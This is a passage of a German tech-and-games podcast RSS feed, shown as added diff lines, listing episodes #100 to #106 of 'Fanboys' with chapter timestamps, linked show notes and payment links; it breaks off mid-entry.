+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23106&amp;user_id=map&amp;title=Fanboys%20Episode%20106&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#106:" />
+ </item>
+ <item>
+ <title>Episode #105 - Brezeltüte 720</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Brezeltüte 720</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN105.mp3" length="27201246" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN105</guid>
+ <pubDate>Fri, 08 Feb 2013 02:05:13 +0100</pubDate>
+ <itunes:duration>00:56:31</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:30 2005
+00:06:15 Keine Mac Pros mehr für Europa
+00:11:17 Tipp: Viertellautstärken
+00:13:11 Tipp: Wifi Scanner
+00:15:49 Vine
+00:18:25 Nintendo Probleme
+00:19:59 Steambox
+00:22:23 Ouya News
+00:24:33 J.J. Abrams und Valve
+00:26:15 Mystery Box
+00:26:31 PS4 Termin
+00:27:12 Xbox 720 Rumors
+00:34:46 Proteus
+00:37:36 Dear Esther
+00:38:19 Puzzle Retreat
+00:40:29 The Witness
+00:41:49 Interview: Peter Molyneux
+00:43:43 Doublefine Tumblr
+00:44:22 Mok Mok
+00:45:34 Antichamber
+00:48:15 Little Inferno
+00:52:30 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:30</td><td>2005</td></tr><tr><td>00:01:24</td><td>Aus</td></tr><tr><td>00:06:15</td><td><a href="http://www.tomshardware.com/news/Mac-Pro-Europe-Discontinued-New-Regulations-Pulled,20840.html" target="_blank">Keine Mac Pros mehr für Europa</td></tr><tr><td>00:11:17</td><td>Tipp: Viertellautstärken</td></tr><tr><td>00:13:11</td><td>Tipp: Wifi Scanner</td></tr><tr><td>00:15:49</td><td><a href="http://vine.co" target="_blank">Vine</td></tr><tr><td>00:18:25</td><td><a href="http://arstechnica.com/gaming/2013/01/nintendo-cuts-wii-u-sales-projections/" target="_blank">Nintendo Probleme</td></tr><tr><td>00:19:59</td><td><a href="http://www.polygon.com/2013/1/30/3934112/gabe-newell-steam-boxs-biggest-threat-isnt-consoles-its-apple" target="_blank">Steambox</td></tr><tr><td>00:22:23</td><td>Ouya News</td></tr><tr><td>00:24:33</td><td><a href="http://www.polygon.com/2013/2/6/3961260/j-j-abrams-and-valve-to-collaborate-on-new-game-half-life-and-portal" target="_blank">J.J. Abrams und Valve</td></tr><tr><td>00:26:15</td><td><a href="http://www.youtube.com/watch?v=vpjVgF5JDq8" target="_blank">Mystery Box</td></tr><tr><td>00:26:31</td><td>PS4 Termin</td></tr><tr><td>00:27:12</td><td><a href="http://www.edge-online.com/news/the-next-xbox-always-online-no-second-hand-games-50gb-blu-ray-discs-and-new-kinect/#null" target="_blank">Xbox 720 Rumors</td></tr><tr><td>00:34:46</td><td><a href="http://www.visitproteus.com" target="_blank">Proteus</td></tr><tr><td>00:37:36</td><td><a href="http://dear-esther.com" target="_blank">Dear Esther</td></tr><tr><td>00:38:19</td><td><a href="https://itunes.apple.com/de/app/puzzle-retreat/id561834333?l=en&amp;mt=8" target="_blank">Puzzle Retreat</td></tr><tr><td>00:40:29</td><td><a href="http://the-witness.net/news" target="_blank">The Witness</td></tr><tr><td>00:41:49</td><td><a href="http://www.gamespot.com/fable-iii/videos/the-break-room-interviews-peter-molyneux-6401672/" target="_blank">Interview: Peter Molyneux</td></tr><tr><td>00:43:43</td><td><a href="http://doublefine.tumblr.com" target="_blank">Doublefine Tumblr</td></tr><tr><td>00:44:22</td><td><a href="http://www.mokmok.com" target="_blank">Mok Mok</td></tr><tr><td>00:45:34</td><td><a href="http://www.antichamber-game.com" target="_blank">Antichamber</td></tr><tr><td>00:48:15</td><td><a href="http://tomorrowcorporation.com/littleinferno" target="_blank">Little Inferno</td></tr><tr><td>00:52:30</td><td>Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:30" title="2005" />
+ <sc:chapter start="00:06:15" title="Keine Mac Pros mehr für Europa" href="http://www.tomshardware.com/news/Mac-Pro-Europe-Discontinued-New-Regulations-Pulled,20840.html" />
+ <sc:chapter start="00:11:17" title="Tipp: Viertellautstärken" />
+ <sc:chapter start="00:13:11" title="Tipp: Wifi Scanner" />
+ <sc:chapter start="00:15:49" title="Vine" href="http://vine.co" />
+ <sc:chapter start="00:18:25" title="Nintendo Probleme" href="http://arstechnica.com/gaming/2013/01/nintendo-cuts-wii-u-sales-projections/" />
+ <sc:chapter start="00:19:59" title="Steambox" href="http://www.polygon.com/2013/1/30/3934112/gabe-newell-steam-boxs-biggest-threat-isnt-consoles-its-apple" />
+ <sc:chapter start="00:22:23" title="Ouya News" />
+ <sc:chapter start="00:24:33" title="J.J. Abrams und Valve" href="http://www.polygon.com/2013/2/6/3961260/j-j-abrams-and-valve-to-collaborate-on-new-game-half-life-and-portal" />
+ <sc:chapter start="00:26:15" title="Mystery Box" href="http://www.youtube.com/watch?v=vpjVgF5JDq8" />
+ <sc:chapter start="00:26:31" title="PS4 Termin" />
+ <sc:chapter start="00:27:12" title="Xbox 720 Rumors" href="http://www.edge-online.com/news/the-next-xbox-always-online-no-second-hand-games-50gb-blu-ray-discs-and-new-kinect/#null" />
+ <sc:chapter start="00:34:46" title="Proteus" href="http://www.visitproteus.com" />
+ <sc:chapter start="00:37:36" title="Dear Esther" href="http://dear-esther.com" />
+ <sc:chapter start="00:38:19" title="Puzzle Retreat" href="https://itunes.apple.com/de/app/puzzle-retreat/id561834333?l=en&amp;mt=8" />
+ <sc:chapter start="00:40:29" title="The Witness" href="http://the-witness.net/news" />
+ <sc:chapter start="00:41:49" title="Interview: Peter Molyneux" href="http://www.gamespot.com/fable-iii/videos/the-break-room-interviews-peter-molyneux-6401672/" />
+ <sc:chapter start="00:43:43" title="Doublefine Tumblr" href="http://doublefine.tumblr.com" />
+ <sc:chapter start="00:44:22" title="Mok Mok" href="http://www.mokmok.com" />
+ <sc:chapter start="00:45:34" title="Antichamber" href="http://www.antichamber-game.com" />
+ <sc:chapter start="00:48:15" title="Little Inferno" href="http://tomorrowcorporation.com/littleinferno" />
+ <sc:chapter start="00:52:30" title="Rausschmeisser" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23105&amp;user_id=map&amp;title=Fanboys%20Episode%20105&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#105:" />
+ </item>
+ <item>
+ <title>Episode #104 - 0,8 Journey</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>0,8 Journey</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN104.mp3" length="38967215" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN104</guid>
+ <pubDate>Thu, 31 Jan 2013 15:03:44 +0100</pubDate>
+ <itunes:duration>01:21:02</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:42 2004
+00:05:31 iPad wird drei
+00:13:39 iPad mit 128 GB
+00:19:14 iOS 6.1
+00:22:52 Grosses Git Special
+00:38:04 Sourcetree
+00:40:18 git-up
+00:43:59 The Cave
+00:55:29 Kairo
+01:02:24 Xscope
+01:04:28 Aus
+01:06:37 Flashout 3D
+01:07:19 kleinerdrei
+01:07:53 Threema
+01:16:49 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:42</td><td>2004</td></tr><tr><td>00:05:31</td><td><a href="http://www.tuaw.com/2013/01/27/january-27-2010-apple-announces-the-ipad/" target="_blank">iPad wird drei</td></tr><tr><td>00:13:39</td><td><a href="http://www.apple.com/pr/library/2013/01/29Apple-Increases-iPad-with-Retina-Display-to-128GB.html" target="_blank">iPad mit 128 GB</td></tr><tr><td>00:19:14</td><td>iOS 6.1</td></tr><tr><td>00:22:52</td><td><a href="http://nvie.com/posts/a-successful-git-branching-model/" target="_blank">Grosses Git Special</td></tr><tr><td>00:38:04</td><td><a href="http://www.atlassian.com/software/sourcetree/overview" target="_blank">Sourcetree</td></tr><tr><td>00:40:18</td><td><a href="https://github.com/aanand/git-up" target="_blank">git-up</td></tr><tr><td>00:43:59</td><td>The Cave</td></tr><tr><td>00:55:29</td><td><a href="http://www.pocketgamer.co.uk/r/iPhone/Kairo/news.asp?c=48060" target="_blank">Kairo</td></tr><tr><td>01:02:24</td><td><a href="http://iconfactory.com/software/xscope" target="_blank">Xscope</td></tr><tr><td>01:04:28</td><td>Aus</td></tr><tr><td>01:06:37</td><td><a href="https://itunes.apple.com/us/app/flashout-3d/id563209339?mt=8" target="_blank">Flashout 3D</td></tr><tr><td>01:07:19</td><td><a href="http://kleinerdrei.org" target="_blank">kleinerdrei</td></tr><tr><td>01:07:53</td><td><a href="https://threema.ch/en/" target="_blank">Threema</td></tr><tr><td>01:16:49</td><td><a href="http://www.thefump.com/fump.php?id=1650" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:42" title="2004" />
+ <sc:chapter start="00:05:31" title="iPad wird drei" href="http://www.tuaw.com/2013/01/27/january-27-2010-apple-announces-the-ipad/" />
+ <sc:chapter start="00:13:39" title="iPad mit 128 GB" href="http://www.apple.com/pr/library/2013/01/29Apple-Increases-iPad-with-Retina-Display-to-128GB.html" />
+ <sc:chapter start="00:19:14" title="iOS 6.1" />
+ <sc:chapter start="00:22:52" title="Grosses Git Special" href="http://nvie.com/posts/a-successful-git-branching-model/" />
+ <sc:chapter start="00:38:04" title="Sourcetree" href="http://www.atlassian.com/software/sourcetree/overview" />
+ <sc:chapter start="00:40:18" title="git-up" href="https://github.com/aanand/git-up" />
+ <sc:chapter start="00:43:59" title="The Cave" />
+ <sc:chapter start="00:55:29" title="Kairo" href="http://www.pocketgamer.co.uk/r/iPhone/Kairo/news.asp?c=48060" />
+ <sc:chapter start="01:02:24" title="Xscope" href="http://iconfactory.com/software/xscope" />
+ <sc:chapter start="01:04:28" title="Aus" />
+ <sc:chapter start="01:06:37" title="Flashout 3D" href="https://itunes.apple.com/us/app/flashout-3d/id563209339?mt=8" />
+ <sc:chapter start="01:07:19" title="kleinerdrei" href="http://kleinerdrei.org" />
+ <sc:chapter start="01:07:53" title="Threema" href="https://threema.ch/en/" />
+ <sc:chapter start="01:16:49" title="Rausschmeisser" href="http://www.thefump.com/fump.php?id=1650" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23104&amp;user_id=map&amp;title=Fanboys%20Episode%20104&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#104:" />
+ </item>
+ <item>
+ <title>Episode #103 - Nay Nay Nay</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Nay Nay Nay</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN103.mp3" length="35233167" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN103</guid>
+ <pubDate>Thu, 24 Jan 2013 23:32:53 +0100</pubDate>
+ <itunes:duration>01:13:15</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:38 2003
+00:06:27 Apple Quartalszahlen
+00:18:13 WWDC Spekulationen
+00:24:07 Apple Homepage
+00:26:46 Surface Pro
+00:31:57 Cintiq
+00:38:20 Collusion Pen
+00:40:19 Smartpen Sky
+00:42:43 The Cave
+01:06:08 Insert Moin: The Cave
+01:07:07 Temple Run 2
+01:07:48 Don't Starve
+01:12:13 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:38</td><td>2003</td></tr><tr><td>00:06:27</td><td><a href="http://infogr.am/Apple-Q1-2013-804/" target="_blank">Apple Quartalszahlen</td></tr><tr><td>00:18:13</td><td>WWDC Spekulationen</td></tr><tr><td>00:24:07</td><td><a href="http://charliehoehn.com/2013/01/14/15-years-of-apple-dot-com-homepage/" target="_blank">Apple Homepage</td></tr><tr><td>00:26:46</td><td><a href="http://www.forbes.com/sites/jasonevangelho/2013/01/22/microsoft-surface-pro-release-date-and-retail-availability-announced/" target="_blank">Surface Pro</td></tr><tr><td>00:31:57</td><td><a href="http://www.wacom.com/en/creative/products/pen-displays/cintiq" target="_blank">Cintiq</td></tr><tr><td>00:38:20</td><td><a href="https://collusionapp.com" target="_blank">Collusion Pen</td></tr><tr><td>00:40:19</td><td><a href="http://www.livescribe.com/en-us/smartpen/sky/" target="_blank">Smartpen Sky</td></tr><tr><td>00:42:43</td><td><a href="http://en.wikipedia.org/wiki/The_Cave_(video_game)" target="_blank">The Cave</td></tr><tr><td>01:06:08</td><td><a href="http://superlevel.de/cast/insert-moin-folge-674-the-cave/" target="_blank">Insert Moin: The Cave</td></tr><tr><td>01:07:07</td><td>Temple Run 2</td></tr><tr><td>01:07:48</td><td><a href="http://www.dontstarvegame.com" target="_blank">Don't Starve</td></tr><tr><td>01:12:13</td><td><a href="http://youtu.be/Q8T6Yxa9H2c" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:38" title="2003" />
+ <sc:chapter start="00:06:27" title="Apple Quartalszahlen" href="http://infogr.am/Apple-Q1-2013-804/" />
+ <sc:chapter start="00:18:13" title="WWDC Spekulationen" />
+ <sc:chapter start="00:24:07" title="Apple Homepage" href="http://charliehoehn.com/2013/01/14/15-years-of-apple-dot-com-homepage/" />
+ <sc:chapter start="00:26:46" title="Surface Pro" href="http://www.forbes.com/sites/jasonevangelho/2013/01/22/microsoft-surface-pro-release-date-and-retail-availability-announced/" />
+ <sc:chapter start="00:31:57" title="Cintiq" href="http://www.wacom.com/en/creative/products/pen-displays/cintiq" />
+ <sc:chapter start="00:38:20" title="Collusion Pen" href="https://collusionapp.com" />
+ <sc:chapter start="00:40:19" title="Smartpen Sky" href="http://www.livescribe.com/en-us/smartpen/sky/" />
+ <sc:chapter start="00:42:43" title="The Cave" href="http://en.wikipedia.org/wiki/The_Cave_(video_game)" />
+ <sc:chapter start="01:06:08" title="Insert Moin: The Cave" href="http://superlevel.de/cast/insert-moin-folge-674-the-cave/" />
+ <sc:chapter start="01:07:07" title="Temple Run 2" />
+ <sc:chapter start="01:07:48" title="Don't Starve" href="http://www.dontstarvegame.com" />
+ <sc:chapter start="01:12:13" title="Rausschmeisser" href="http://youtu.be/Q8T6Yxa9H2c" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23103&amp;user_id=map&amp;title=Fanboys%20Episode%20103&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#103:" />
+ </item>
+ <item>
+ <title>Episode #102 - Bitcoinausdrucker</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Bitcoinausdrucker</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN102.mp3" length="37187335" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN102</guid>
+ <pubDate>Fri, 18 Jan 2013 00:54:41 +0100</pubDate>
+ <itunes:duration>01:17:20</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:27 2002
+00:10:00 Apple Aktienfoo
+00:11:46 Safari hat Geburtstag
+00:26:14 Watchever
+00:32:45 Facebook Graph Search
+00:39:12 Instagram Userschwund
+00:41:55 Unity
+00:47:17 Temple Run 2
+00:50:15 Mpeg Streamclip
+00:52:03 Super OTR
+00:54:01 Joe Danger
+00:56:57 Don't starve
+00:59:39 At a distance
+01:04:43 Olloclip
+01:08:04 Repulze
+01:11:24 Paper Mario
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:27</td><td>2002</td></tr><tr><td>00:10:00</td><td>Apple Aktienfoo</td></tr><tr><td>00:11:46</td><td><a href="http://donmelton.com/2013/01/07/macworld-2003-keynote/" target="_blank">Safari hat Geburtstag</td></tr><tr><td>00:26:14</td><td><a href="http://www.watchever.de" target="_blank">Watchever</td></tr><tr><td>00:32:45</td><td><a href="https://www.facebook.com/about/graphsearch" target="_blank">Facebook Graph Search</td></tr><tr><td>00:39:12</td><td><a href="http://mobilegeeks.de/instagram-laufen-die-nutzer-in-scharen-davon/" target="_blank">Instagram Userschwund</td></tr><tr><td>00:41:55</td><td><a href="http://unity3d.com" target="_blank">Unity</td></tr><tr><td>00:47:17</td><td><a href="https://itunes.apple.com/us/app/temple-run-2/id572395608" target="_blank">Temple Run 2</td></tr><tr><td>00:50:15</td><td><a href="http://www.squared5.com" target="_blank">Mpeg Streamclip</td></tr><tr><td>00:52:03</td><td><a href="http://apfel-a.macbay.de/super-otr/" target="_blank">Super OTR</td></tr><tr><td>00:54:01</td><td><a href="https://itunes.apple.com/us/app/joe-danger/id573859785?mt=8" target="_blank">Joe Danger</td></tr><tr><td>00:56:57</td><td><a href="http://www.dontstarvegame.com" target="_blank">Don't starve</td></tr><tr><td>00:59:39</td><td><a href="http://distractionware.com/blog/2011/12/at-a-distance/" target="_blank">At a distance</td></tr><tr><td>01:04:43</td><td><a href="http://www.olloclip.com" target="_blank">Olloclip</td></tr><tr><td>01:08:04</td><td><a href="https://itunes.apple.com/us/app/repulze/id573934243?mt=8" target="_blank">Repulze</td></tr><tr><td>01:11:24</td><td><a href="http://superlevel.de/cast/insert-moin-folge-670-paper-mario-sticker-star/" target="_blank">Paper Mario</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:27" title="2002" />
+ <sc:chapter start="00:10:00" title="Apple Aktienfoo" />
+ <sc:chapter start="00:11:46" title="Safari hat Geburtstag" href="http://donmelton.com/2013/01/07/macworld-2003-keynote/" />
+ <sc:chapter start="00:26:14" title="Watchever" href="http://www.watchever.de" />
+ <sc:chapter start="00:32:45" title="Facebook Graph Search" href="https://www.facebook.com/about/graphsearch" />
+ <sc:chapter start="00:39:12" title="Instagram Userschwund" href="http://mobilegeeks.de/instagram-laufen-die-nutzer-in-scharen-davon/" />
+ <sc:chapter start="00:41:55" title="Unity" href="http://unity3d.com" />
+ <sc:chapter start="00:47:17" title="Temple Run 2" href="https://itunes.apple.com/us/app/temple-run-2/id572395608" />
+ <sc:chapter start="00:50:15" title="Mpeg Streamclip" href="http://www.squared5.com" />
+ <sc:chapter start="00:52:03" title="Super OTR" href="http://apfel-a.macbay.de/super-otr/" />
+ <sc:chapter start="00:54:01" title="Joe Danger" href="https://itunes.apple.com/us/app/joe-danger/id573859785?mt=8" />
+ <sc:chapter start="00:56:57" title="Don't starve" href="http://www.dontstarvegame.com" />
+ <sc:chapter start="00:59:39" title="At a distance" href="http://distractionware.com/blog/2011/12/at-a-distance/" />
+ <sc:chapter start="01:04:43" title="Olloclip" href="http://www.olloclip.com" />
+ <sc:chapter start="01:08:04" title="Repulze" href="https://itunes.apple.com/us/app/repulze/id573934243?mt=8" />
+ <sc:chapter start="01:11:24" title="Paper Mario" href="http://superlevel.de/cast/insert-moin-folge-670-paper-mario-sticker-star/" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23102&amp;user_id=map&amp;title=Fanboys%20Episode%20102&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#102:" />
+ </item>
+ <item>
+ <title>Episode #101 - Wiiunachtsfeier</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Wiiunachtsfeier</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN101.mp3" length="44430986" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN101</guid>
+ <pubDate>Thu, 10 Jan 2013 22:59:11 +0100</pubDate>
+ <itunes:duration>01:32:25</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:40 2001
+00:04:10 29c3
+00:11:01 Creeper Cards
+00:32:07 Sprache, Ungleichheit und Unfreiheit
+00:34:27 Romantic Hackers
+00:39:19 Sind faire Computer möglich
+00:41:47 CES
+00:43:05 Nvidea Shield
+00:44:34 Pebble
+00:51:16 Learning by Shipping
+00:53:03 iTunes wird 12
+00:57:01 Wii-U-Nachtsfeier
+01:08:17 1Password Tipp
+01:10:33 Meistbenutzte Apps
+01:17:21 mp4 Videos verlustfrei schneiden
+01:20:35 Brettspiel AIs und Rechtliches
+01:25:42 Die Verteidigung der Missionarsstellung
+01:27:40 hundreds
+01:30:34 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:40</td><td>2001</td></tr><tr><td>00:04:10</td><td>29c3</td></tr><tr><td>00:11:01</td><td><a href="http://blog.philipsteffan.de/2013/raketenregen/" target="_blank">Creeper Cards</td></tr><tr><td>00:32:07</td><td><a href="http://www.youtube.com/watch?v=pQiA8XymmKM" target="_blank">Sprache, Ungleichheit und Unfreiheit</td></tr><tr><td>00:34:27</td><td><a href="http://www.youtube.com/watch?v=dLGxAAabkz8" target="_blank">Romantic Hackers</td></tr><tr><td>00:39:19</td><td><a href="http://www.youtube.com/watch?v=iFyDTPzMw2k" target="_blank">Sind faire Computer möglich</td></tr><tr><td>00:41:47</td><td><a href="http://www.theverge.com/2013/1/8/3851390/delicious-snacks-of-ces-2013-tailgating" target="_blank">CES</td></tr><tr><td>00:43:05</td><td><a href="http://shield.nvidia.com" target="_blank">Nvidea Shield</td></tr><tr><td>00:44:34</td><td><a href="http://new.livestream.com/accounts/2432013/CES2013/videos/8991209" target="_blank">Pebble</td></tr><tr><td>00:51:16</td><td><a href="http://blog.learningbyshipping.com" target="_blank">Learning by Shipping</td></tr><tr><td>00:53:03</td><td><a href="http://arstechnica.com/apple/2013/01/itunes-turns-12-an-image-gallery/" target="_blank">iTunes wird 12</td></tr><tr><td>00:57:01</td><td>Wii-U-Nachtsfeier</td></tr><tr><td>01:08:17</td><td>1Password Tipp</td></tr><tr><td>01:10:33</td><td>Meistbenutzte Apps</td></tr><tr><td>01:17:21</td><td>mp4 Videos verlustfrei schneiden</td></tr><tr><td>01:20:35</td><td>Brettspiel AIs und Rechtliches</td></tr><tr><td>01:25:42</td><td><a href="http://www.daserste.de/information/wissen-kultur/druckfrisch/sendung/2012/23092012-haas-100.html" target="_blank">Die Verteidigung der Missionarsstellung</td></tr><tr><td>01:27:40</td><td><a href="http://playhundreds.com" target="_blank">hundreds</td></tr><tr><td>01:30:34</td><td><a href="http://www.youtube.com/watch?v=sr4MyntUQuQ" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:40" title="2001" />
+ <sc:chapter start="00:04:10" title="29c3" />
+ <sc:chapter start="00:11:01" title="Creeper Cards" href="http://blog.philipsteffan.de/2013/raketenregen/" />
+ <sc:chapter start="00:32:07" title="Sprache, Ungleichheit und Unfreiheit" href="http://www.youtube.com/watch?v=pQiA8XymmKM" />
+ <sc:chapter start="00:34:27" title="Romantic Hackers" href="http://www.youtube.com/watch?v=dLGxAAabkz8" />
+ <sc:chapter start="00:39:19" title="Sind faire Computer möglich" href="http://www.youtube.com/watch?v=iFyDTPzMw2k" />
+ <sc:chapter start="00:41:47" title="CES" href="http://www.theverge.com/2013/1/8/3851390/delicious-snacks-of-ces-2013-tailgating" />
+ <sc:chapter start="00:43:05" title="Nvidea Shield" href="http://shield.nvidia.com" />
+ <sc:chapter start="00:44:34" title="Pebble" href="http://new.livestream.com/accounts/2432013/CES2013/videos/8991209" />
+ <sc:chapter start="00:51:16" title="Learning by Shipping" href="http://blog.learningbyshipping.com" />
+ <sc:chapter start="00:53:03" title="iTunes wird 12" href="http://arstechnica.com/apple/2013/01/itunes-turns-12-an-image-gallery/" />
+ <sc:chapter start="00:57:01" title="Wii-U-Nachtsfeier" />
+ <sc:chapter start="01:08:17" title="1Password Tipp" />
+ <sc:chapter start="01:10:33" title="Meistbenutzte Apps" />
+ <sc:chapter start="01:17:21" title="mp4 Videos verlustfrei schneiden" />
+ <sc:chapter start="01:20:35" title="Brettspiel AIs und Rechtliches" />
+ <sc:chapter start="01:25:42" title="Die Verteidigung der Missionarsstellung" href="http://www.daserste.de/information/wissen-kultur/druckfrisch/sendung/2012/23092012-haas-100.html" />
+ <sc:chapter start="01:27:40" title="hundreds" href="http://playhundreds.com" />
+ <sc:chapter start="01:30:34" title="Rausschmeisser" href="http://www.youtube.com/watch?v=sr4MyntUQuQ" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23101&amp;user_id=map&amp;title=Fanboys%20Episode%20101&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#101:" />
+ </item>
+ <item>
+ <title>Episode #100 - Drei Schokobären tanken Eierlikör</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Drei Schokobären tanken Eierlikör</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN100.mp3" length="37127149" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN100</guid>
+ <pubDate>Thu, 20 Dec 2012 00:13:16 +0100</pubDate>
+ <itunes:duration>01:17:12</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:01:35 1999
+00:04:13 2000
+00:08:47 The Good Wife
+00:09:31 The West Wing
+00:13:38 Instagram TOS DDOS
+00:17:00 Schokobär
+00:22:25 Facebook und die Klarnamen
+00:23:25 Twitter Archiv zum runterladen
+00:28:44 Google Talk: Steven Colbert
+00:30:08 Google Talk: Eckhart Tolle
+00:33:32 Frage zu Risc OS
+00:42:35 The Walking Dead
+00:46:26 Hollywood Monsters
+00:49:26 Penny Arcade: Gamers vs. Evil
+00:50:25 SolForge
+00:55:01 You Don't Know Jack
+01:01:15 Endless Road
+01:03:47 Downton Abbey
+01:06:37 Breaking Abbey
+01:07:18 Incredipede
+01:13:15 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:01:35</td><td>1999</td></tr><tr><td>00:04:13</td><td>2000</td></tr><tr><td>00:08:47</td><td><a href="http://en.wikipedia.org/wiki/The_Good_Wife" target="_blank">The Good Wife</td></tr><tr><td>00:09:31</td><td><a href="http://en.wikipedia.org/wiki/The_West_Wing" target="_blank">The West Wing</td></tr><tr><td>00:13:38</td><td><a href="http://news.yahoo.com/changing-images-instagram-tos-dispute-222300600.html" target="_blank">Instagram TOS DDOS</td></tr><tr><td>00:17:00</td><td><a href="http://www.spiegel.de/wirtschaft/unternehmen/haribo-siegt-im-schokobaeren-streit-mit-lindt-a-873697.html" target="_blank">Schokobär</td></tr><tr><td>00:22:25</td><td><a href="http://www.spiegel.de/netzwelt/netzpolitik/klarnamen-pflicht-weichert-stellt-facebook-ultimatum-a-873411.html" target="_blank">Facebook und die Klarnamen</td></tr><tr><td>00:23:25</td><td><a href="http://techcrunch.com/2012/12/19/twitter-confirms-download-your-tweet-archive-rollout/" target="_blank">Twitter Archiv zum runterladen</td></tr><tr><td>00:28:44</td><td><a href="https://www.youtube.com/watch?v=-HpBHWUPa8Q" target="_blank">Google Talk: Steven Colbert</td></tr><tr><td>00:30:08</td><td><a href="http://www.youtube.com/watch?v=qE1dWwoJPU0" target="_blank">Google Talk: Eckhart Tolle</td></tr><tr><td>00:33:32</td><td>Frage zu Risc OS</td></tr><tr><td>00:42:35</td><td><a href="https://itunes.apple.com/us/app/walking-dead-the-game/id524731580?mt=8" target="_blank">The Walking Dead</td></tr><tr><td>00:46:26</td><td><a href="https://itunes.apple.com/app/hollywood-monsters/id574812554?mt=8" target="_blank">Hollywood Monsters</td></tr><tr><td>00:49:26</td><td><a href="http://www.cryptozoic.com/games/penny-arcade-game-gamers-vs-evil-ios" target="_blank">Penny Arcade: Gamers vs. Evil</td></tr><tr><td>00:50:25</td><td><a href="http://www.solforgegame.com" target="_blank">SolForge</td></tr><tr><td>00:55:01</td><td><a href="https://itunes.apple.com/us/app/you-dont-know-jack/id552164252" target="_blank">You Don't Know 